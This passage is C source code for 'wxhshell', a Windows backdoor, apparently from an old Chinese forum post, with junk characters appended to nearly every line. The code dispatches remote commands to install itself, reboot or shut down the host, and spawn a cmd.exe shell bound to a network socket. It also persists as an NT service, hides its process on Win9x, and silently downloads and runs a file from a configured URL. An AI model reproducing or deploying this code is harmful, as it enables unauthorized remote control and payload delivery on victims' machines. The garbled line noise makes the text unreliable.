  else T,WWQm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?W.Y x7c  
  } Bm~>w`1wK  
  else { [K"v)B'  
^QYI`u`4  
    switch(cmd[0]) { /JveN8L%  
  <a$cB+t  
  // 帮助 HF47Lc*c  
  case '?': { 3P #1fI(c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZQ~?  
    break; $1Xg[>1g5  
  } foL`{fA  
  // 安装 <JKPtF2b  
  case 'i': { }jIb ^|#CD  
    if(Install()) [oKB1GkA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #jDO?Y Sa  
    else 55,vmDd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aQRZyE}  
    break; rbP.N ?YU%  
    } vo0[Z,aH5  
  // 卸载 ?d_<S0j-)  
  case 'r': { aP"i_!\.aa  
    if(Uninstall()) f5sk,Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (8H^{2K~  
    else L G=Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F$+_Z~yt3;  
    break; =?FA9wm  
    } JBU qZ  
  // 显示 wxhshell 所在路径 %mI`mpf  
  case 'p': { x6$P(eN  
    char svExeFile[MAX_PATH]; r)7A# 3wId  
    strcpy(svExeFile,"\n\r"); WX?|iw I~  
      strcat(svExeFile,ExeFile); 9cj=CuE  
        send(wsh,svExeFile,strlen(svExeFile),0); 2V~Yb1P  
    break; %mxG;w$  
    } ]?<uf40Mm  
  // 重启 34P? nW(  
  case 'b': { [q(7Jv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l@Ml8+  
    if(Boot(REBOOT)) <m)@~s?D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :!r_dmJ  
    else { wz:wR+  
    closesocket(wsh); i 5_g z>  
    ExitThread(0); d[O.UzQ  
    } re^1fv  
    break; 0} {QQB  
    } H:~LL0Md%  
  // 关机 hPEK@  
  case 'd': { $(_i>&d<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c\RDa|B,  
    if(Boot(SHUTDOWN)) v$,9l+p/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _N*4 3O`  
    else { (# ?~^ut  
    closesocket(wsh); sS+9ly{9J  
    ExitThread(0); ]INbRytvc  
    } )IhI~,0Nmj  
    break; Y@L`XNl  
    } g(<@r2p  
  // 获取shell NB, iC [e  
  case 's': { W=G[hT5L{  
    CmdShell(wsh); =;T971L`  
    closesocket(wsh); 0}w>8L7i{  
    ExitThread(0); T=>&`aZH  
    break; .m+KXlP  
  } YE0s5bB6  
  // 退出 T4Zp5m")  
  case 'x': { yfaXScbE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -M(:z  
    CloseIt(wsh); &d6'$h:kHb  
    break; vU~#6sl  
    } YZmD:P  
  // 离开 i [FBll-  
  case 'q': { \y<n{"a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G>H&M#7K  
    closesocket(wsh); ]Oe#S"-Oo  
    WSACleanup(); B)Gm"bLCOZ  
    exit(1); XmXHs4  
    break; y]@_DL#J=  
        } 9]d$G$Kv9  
  } Kk#8r+ ,  
  } BWQ (>Z"  
RAxA H  
  // 提示信息 1?mQ fW@G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !".@Wg$  
} C' ny 2>uA  
  } `Y$LXF~,Om  
o/9 V1"  
  return; W\X51DrEx  
} 9C`Fd S   
L$Ss]Ar=  
// shell模块句柄 B"8^5#t4s  
int CmdShell(SOCKET sock) %>pglI  
{ *<BasP  
STARTUPINFO si; "Tfbd^AU  
ZeroMemory(&si,sizeof(si)); >. zk-`>-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S . 1~#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cMtkdIO  
PROCESS_INFORMATION ProcessInfo; +:oHI[1HG  
char cmdline[]="cmd"; J 9>uLz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jaNkWTm :  
  return 0; ))Aj X  
} j!jZJD  
(bZ)pW/iw  
// 自身启动模式 GyT{p#l  
int StartFromService(void) tl0_as  
{ \N7 E!82  
typedef struct b vUYLWzS  
{ 5 {'%trDEy  
  DWORD ExitStatus; y 37n~~%  
  DWORD PebBaseAddress; jJg 'Y:K9q  
  DWORD AffinityMask; HnU}Lhjzj  
  DWORD BasePriority; |-2,k#|  
  ULONG UniqueProcessId; PcJ,Y\"[  
  ULONG InheritedFromUniqueProcessId; ^<ayPV)+  
}   PROCESS_BASIC_INFORMATION; kOJs;k  
*mq+w&  
PROCNTQSIP NtQueryInformationProcess; 5\qoZs*e  
1C'lT,twl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hPhN7E03  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lSQANC'  
']4sx_)S  
  HANDLE             hProcess; {TlS)i`  
  PROCESS_BASIC_INFORMATION pbi; qhiQ!fMQ  
Gu&zplB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {3`9A7bG  
  if(NULL == hInst ) return 0; ")cdY) 14"  
{:'e H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^Cpvh}1#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z\Qg 3BS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2NI3 &;{4  
idGM%Faur  
  if (!NtQueryInformationProcess) return 0; UB(Q &U_  
|67<h5Q1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aBol9`6  
  if(!hProcess) return 0; u[ "Pg  
O@?? NF6G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l[rIjyL@  
EPdR-dC^wE  
  CloseHandle(hProcess); @S<=Okrlj  
TzerAX^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uFG]8pj2V1  
if(hProcess==NULL) return 0; 3'*SSZmnOB  
m9xO& @#vx  
HMODULE hMod; O`~T:N|D  
char procName[255]; 36.L1!d)pE  
unsigned long cbNeeded; =U3 !D;XP  
k`kmmb>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "-(yZigQ  
ADlPdkmym  
  CloseHandle(hProcess); n16,u$|  
zj"J~s;?  
if(strstr(procName,"services")) return 1; // 以服务启动 [C/h{WPC-  
!</5 )B`5:  
  return 0; // 注册表启动 "4}{Z)&R2  
} vM|?;QM  
gb8nST$r  
// 主模块 >wz-p nD  
int StartWxhshell(LPSTR lpCmdLine) 3`Y  
{ ]J:?@}\^  
  SOCKET wsl; B%cjRwOT  
BOOL val=TRUE; w\s$  
  int port=0; l9? ] t;  
  struct sockaddr_in door; !,INrl[  
~h  tV*R  
  if(wscfg.ws_autoins) Install(); |"vqM)V$  
Y0aO/6  
port=atoi(lpCmdLine); e{c%o;m(  
jK3% \`o  
if(port<=0) port=wscfg.ws_port; Bk~WHg>@G  
^|-xmUC  
  WSADATA data; ,W7\AY07]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X^r HugQ  
r9z/hm}E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jZ7#xRt5w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :C_\.pA  
  door.sin_family = AF_INET; vgo-[^FiP$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gb~*[  
  door.sin_port = htons(port); *A;~~ SQ  
TV0(uMZ0+'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E(>RmPP=7  
closesocket(wsl); [:TOU^  
return 1; Bp>%'L  
} L]9uY  
9<}d98  
  if(listen(wsl,2) == INVALID_SOCKET) { C3hnX2";  
closesocket(wsl); ,]42v?  
return 1; 91}QuYv/_  
} ! E#XmYhX=  
  Wxhshell(wsl); bu,Z'  
  WSACleanup(); VQ{}S $jQ  
thl{IU  
return 0; # ]&=]K1V  
<Y9((QSM4  
} )pW(Cp  
03iO4yOu  
// 以NT服务方式启动 ^SVdaQ{7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i~PN(h  
{ l7 j3;Ly  
DWORD   status = 0; 3[pA:Z+xx  
  DWORD   specificError = 0xfffffff; 2BsMFMIw1  
I[WW1P5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p p9Gzn C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /{\tkvv-Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bJmVq%>;  
  serviceStatus.dwWin32ExitCode     = 0; +_3> T''_  
  serviceStatus.dwServiceSpecificExitCode = 0; ePP-&V"`"  
  serviceStatus.dwCheckPoint       = 0; #Kn=Q  
  serviceStatus.dwWaitHint       = 0; 4\Mh2z5  
?SkYFa`u*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <RKh%4#~  
  if (hServiceStatusHandle==0) return; =YE"6iU  
blk ~r0.2  
status = GetLastError(); :L&-  
  if (status!=NO_ERROR) LoPWho[8  
{ S%R:GZEf_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :S{[^ -"  
    serviceStatus.dwCheckPoint       = 0; yE. ZvvQA  
    serviceStatus.dwWaitHint       = 0; A d=NJhzl  
    serviceStatus.dwWin32ExitCode     = status; 9<W0'6%{/  
    serviceStatus.dwServiceSpecificExitCode = specificError; i:ZpAo+Z{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .^X IZ  
    return; {UT^p IP\  
  } :%{MMhb x  
#Kyb9Qg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Vdjf F&q  
  serviceStatus.dwCheckPoint       = 0; ac p-4g+j  
  serviceStatus.dwWaitHint       = 0; JLp.bxx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e(@YBQ/Z  
} ahU\(=  
!6'j W!  
// 处理NT服务事件,比如:启动、停止 +D& W!m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s,\!@[N  
{ K)`, |q* \  
switch(fdwControl) ;sT7c1X^!  
{ A?06fo,  
case SERVICE_CONTROL_STOP: l[fU0;A  
  serviceStatus.dwWin32ExitCode = 0; 1;i[H[hNY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wBTnI>l9[  
  serviceStatus.dwCheckPoint   = 0; o;7!$v>uK  
  serviceStatus.dwWaitHint     = 0; LZqx6~]O  
  { GE\@mu *pO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !rlN|HB  
  } MW &iNioX  
  return; Q4JwX=ZVj  
case SERVICE_CONTROL_PAUSE: .36z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rg]eSP3 W  
  break; N5Eb.a9S  
case SERVICE_CONTROL_CONTINUE: t \kI( G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w4<RV:Vmt  
  break; 4(B{-cK  
case SERVICE_CONTROL_INTERROGATE: Z,.*!S=?h  
  break; Vf`n>  
}; m,K0BL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BI?M/pIm  
} ]d&6 ?7 !>  
X<9jBj/t  
// 标准应用程序主函数 'QFf 7A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~Y<x-)R  
{ {e/Qs|a R  
MM"{ehd{^a  
// 获取操作系统版本 a.L ?J  
OsIsNt=GetOsVer(); +O`0Mc$%'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f*04=R?w7>  
H,9e<x#own  
  // 从命令行安装 ;,}tXz  
  if(strpbrk(lpCmdLine,"iI")) Install(); J GnL[9P_  
n a])bBn  
  // 下载执行文件 d nWh}!  
if(wscfg.ws_downexe) { c!AGKc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q %i2' yE  
  WinExec(wscfg.ws_filenam,SW_HIDE); `PnB<rf:*1  
} ~Aq;g$IJZ  
):E4qlB  
if(!OsIsNt) { #>g]CRN  
// 如果时win9x,隐藏进程并且设置为注册表启动 i9[=x(-@  
HideProc(); }A'QXtI/G  
StartWxhshell(lpCmdLine); Sp: `Z1kH  
} ,kfUlv=  
else |tC!`.^\  
  if(StartFromService()) f7mP4[+dS  
  // 以服务方式启动 "15mOW(!+  
  StartServiceCtrlDispatcher(DispatchTable); qP-*  
else ;?"2sS!AHQ  
  // 普通方式启动 K]yCt~A$  
  StartWxhshell(lpCmdLine); J~9l+?  
yf(VwU, x  
return 0; ?ntyF-n&  
}
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只看该作者 1 发表于: 2006-10-10
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